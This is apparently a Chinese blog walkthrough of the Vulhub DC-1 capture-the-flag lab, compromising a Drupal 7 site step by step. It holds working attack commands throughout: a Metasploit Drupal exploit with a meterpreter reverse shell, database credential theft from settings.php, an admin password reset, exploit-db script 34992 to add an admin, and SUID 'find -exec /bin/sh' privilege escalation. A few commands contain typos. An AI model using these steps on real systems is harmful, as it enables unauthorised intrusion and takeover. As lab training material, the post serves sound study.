内网靶场之Drupal(Vulhub-DC-1靶场)详细攻击过程

内网靶场之Drupal(Vulhub-DC-1靶场)详细攻击过程

Drupal:

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成。

注入原理:

Drupal Sql注入漏洞原理是酱紫的,Drupal在处理IN语句的时候,要通过expandArguments函数来展开数组。由于expandArguments函数没有对当前数组中key值进行有效的过滤,给攻击者可乘之机。攻击者通过精心构造的SQL语句可以执行任意PHP代码。

详细原理:https://www.freebuf.com/vuls/47690.html

漏洞环境:

靶场地址:https://www.vulnhub.com/entry/dc-1-1,292/

下载地址:https://download.vulnhub.com/dc/DC-1.zip

任务描述:包含5个Flag,初级难度,最终目标是在root主目录中找到并读取该标志

攻击机 kali :192.168.0.199

靶机:192.168.0.183

​ (访问靶场80端口是cms框架的登录页面)

漏洞利用:
Drupal 开源内容管理框架注入漏洞,反弹shell:

​ 首先弱口令登录,扫端口、扫后台都没什么较大的收获。于是将目标盯在了Drupal这个cms框架上面了,发现这个cms有一个注入getshell的漏洞(CVE-2018-7600),并且metasploit中已有攻击模块,可以直接利用。

  1. 打开msf,查找drupal武器库

    msfconsole
    search drupal
    

    这里可以根据需求选择,我选择比较新的2018年的攻击模块

  2. 利用攻击模块,需要设置3个参数,rhost、lhost、和TARGETURI。

    set rhost 192.168.0.183
    set lhost 192.168.0.199
    set TARGRTURI drupal
    

  3. run攻击即可,将反弹命令行控制台meterpreter,输入shell就可以执行命令了

初级内网渗透-flag1:

​ 首先虽然shell已经进入,但它并不是交互的shell,所以我们要进入交互式的shell。而且他的权限是www-data权限,权限较低很多命令不能执行

  1. 使用python反弹一个交互式shell TTY。

    python -c 'import pty;pty.spawn("/bin/bash")'
    

  2. 查看当前目录,看有无可以利用的信息文件,其他目录信息如下。发现了第一个flag1文件,查看flag1文件。

    ls
    cat flag1.txt
    

    Every good CMS needs a config file - and so do you.
    每个好的CMS都需要一个配置文件——你也一样。
    
敏感信息分析获取flag2:

​ 通过flag1的提示,告知我们cms的配置文件很重要,暗藏敏感文件。所以我们需要查看目录下的其他文件来获取信息。

  1. 首先我们百度搜索drupal有哪些重要的配置文件及重要文件的默认路径 ,挑选重点下手能节省时间。

  2. drupal的配置文件是 /sites/default/settings.php ,是数据库连接配置文件。我们去查看这个文件看有无收获。

    cd /sites/default/
    ls
    cat settings.php
    

    我们发现了flag2内容,以及数据库的账户和密码

    * flag2
     * Brute force and dictionary attacks aren't the
     * only ways to gain access (and you WILL need access).
     * What can you do with these credentials?
     (flag2
    爆破攻击和字典攻击不是
    获得访问权限的唯一方法(您将需要访问权限)。
    你能用这些证书做什么?)
    
    'database' => 'drupaldb',
    'username' => 'dbuser',
    'password' => 'R0ck3t',
    'host' => 'localhost',
    'port' => '',
    'driver' => 'mysql',
    'prefix' => '',
    
数据库相关信息获取

​ 首先我们通过flag2得到了数据库为mysql数据库,并且数据库名、账号和密码都有了,肯定是要进入数据库看有无所需信息的。如系统管理员账户信息

  1. 登录数据库

    msql -u dbuser -p
    username => dbuser
    password => R0ck3t
    database => drupaldb
    

  2. 数据库基本操作,查看数据库内容

    show database;
    use drupaldb;
    show tables;
    

    发现用户表为users,注意Drupal框架默认的用户表就是users表。

  3. 查询users表中,系统管理员admin的账户信息

    select * from users;
    select name,pass from users;
    

    发现admin账号和经过加密的密码,drupal常用密码加密是MD5格式,但是7.0以后因为安全性问题将加密方式改成了hash加密(由于很多在线MD5爆破和MD5数据库,可以查到很多MD5码的原文,所以Drupal 7已不再采用Drupal 6和5简单的MD5加密,而是采用一种新型的Hash加密方法。新型加密方法是“加了盐(Salt)”的MD5码,简单理解就是并不会直接将password进行MD5加密,而会和用户名或其它随机字符串组合在一起后再MD5加密。)。

    这里不是md5加密,应该是自定义的加密方式。flag2中给的提示暴力破解不是唯一的方法我们得想一下其他的办法。

数据库admin管理员密码修改及获取flag3

​ 我们想办法的同时也可以百度向开发人员询问答案,查找drupal7忘记密码怎么办?drupal7如何重置密码?drupal7如何修改密码?这些问题让我们拿到admin这个管理员账户。

  1. drupal7重置admin用户的密码

    exit
    $ls
    $php ./scripts/password-hash.sh 123456
    mysql -h localhost -u dbuser -p
    Enter password:R0ck3t
    use drupaldb;
    update users set pass='$S$DQZsZLqxCbnNCRuvOFCQBC2snsbkjGrH3Xw4nqxxhuYIONkuC4dP' where name='admin';
    
  2. 登录成功

更隐蔽方式,添加新管理员账户获取flag3

exploit-db(漏洞利用库):

kali中已经内置,默认路径为:/pentest/exploits/exploitdb。可以使用searchsploit命令来搜索exp进行利用。

在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号,第二种方法是通过该过程新增admin密码。

  1. 查看Drupal版本,确定Drupal版本为7.24

    cat /var/www/includes/bootstrap.inc | grep VERSION
    

  2. 使用searchsploit查找可利用漏洞。选择添加管理员功能的攻击脚本适用于7.0-7.31范围(每个脚本括号后面有功能描述,我这里遮住了),符合7.24版本。

    searchsploit drupal
    

  3. 利用drupal7.0版本漏洞增加有admin权限的用户

    python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.0.208 -u hkb -p hkb
    
    后面靶机出了点问题,靶机ip换成了192.168.0.208
    

    新增的管理员用户如下

  4. 使用新添加的用户hkb登录网站,在content模块下找到flag3。

    Congratulations!
    Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
    
    恭喜你!
    特殊的PERMS可以帮助找到密码-但您需要-exec该命令,以确定如何获取在shadow文件中的内容
    
    很明显的提示:find+perms+exec 命令用来提权
    
根据用户信息获取flag4

​ 根据flag3的提示提权,我们尝试查看用户列表信息(包含用户权限信息),这些用户信息一般存储在/etc/passwd目录下。

  1. 查看用户列表,获取信息

    cat /etc/passwd
    

    注意,/etc/passwd包含系统所有账户信息,只有超级用户才有写和访问。该文件每个用户占一行用,分隔成七个字段。如下图所示:

    发现了flag4这个用户,并且得到了flag4的主目录为home目录。我们切换到home目录寻找flag4相关文件

  2. 切换到home目录寻找flag4相关文件,并尝试查看。

    cd /home/flag4
    cat flag4.txt
    

    flag4提示内容:
    提示最后flag in root下面。
    

其实也可以直接用find命令查找flag4这个关键字,也能爆出flag4文件的路径。主要看个人思路

find / -name "flag4
cd /home/flag4
cat flag4.txt
提权+获得最终flag

​ 根据flag4的提示信息,最后一个flag存在于root目录下。我们可以使用find命令查找root目录下相关文件信息。

  1. 使用find命令查看与/root目录有关的文件信息

    find /root
    
    find命令是用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则find命令将在当前目录下查找子目录与文件,并将查找到的子目录和文件全部进行显示。
    
    find(选项)(参数)
    -exec<执行指令>:假设find指令的回传值为True,就执行该指令
    -perm<权限数值>:查找符合指定的权限数值的文件或目录
    

    发现flag文件存在于/root目录下,尝试打开它

    发现没有权限,所以必须要提权才能查看最终的flag文件

  2. 根据flag3中的提示,使用“-exec”提权,也就是find+perms+exec 命令来提权。这里有两种方法可以用,看个人想法。详细关于find提权会在另一篇文章中详解

    1. find ./ acce -exec '/bin/sh' \;
    
    2. touch bcce
    find bcce -exec '/bin/sh' \;
    

  3. 再次尝试打开/root目录下的flag文件

    cd /root
    ls
    cat thefinalflag.txt
    

    成功访问最后一个flag文件,游戏结束了。

总结:

​ 本次初级内网渗透靶场虽然初级,但也涉及了大量的知识点。

  1. 使用python反弹一个交互式shell
  2. 配置文件十分重要,重要的配置文件可以搜索相关系统或者框架的默认路径,能在较短时间内获取有用信息。如: drupal的/sites/default/settings.php ,是数据库连接配置文件
  3. exploit-db(漏洞利用库)真的很强大,里面很多攻击脚本。不知道为什么以前很少用,现在要加强对他的了解了。他就是metspoit的兄弟
  4. /etc/passwd:linux默认存储用户列表的文件
  5. linux suid提权相关知识,在后面的文章中再详细了解。
参考文章:

https://my.oschina.net/u/4257499/blog/3230676

https://blog.csdn.net/szlg510027010/article/details/106541167/

posted @ 2020-07-13 22:47  admin刍狗  阅读(5570)  评论(2编辑  收藏  举报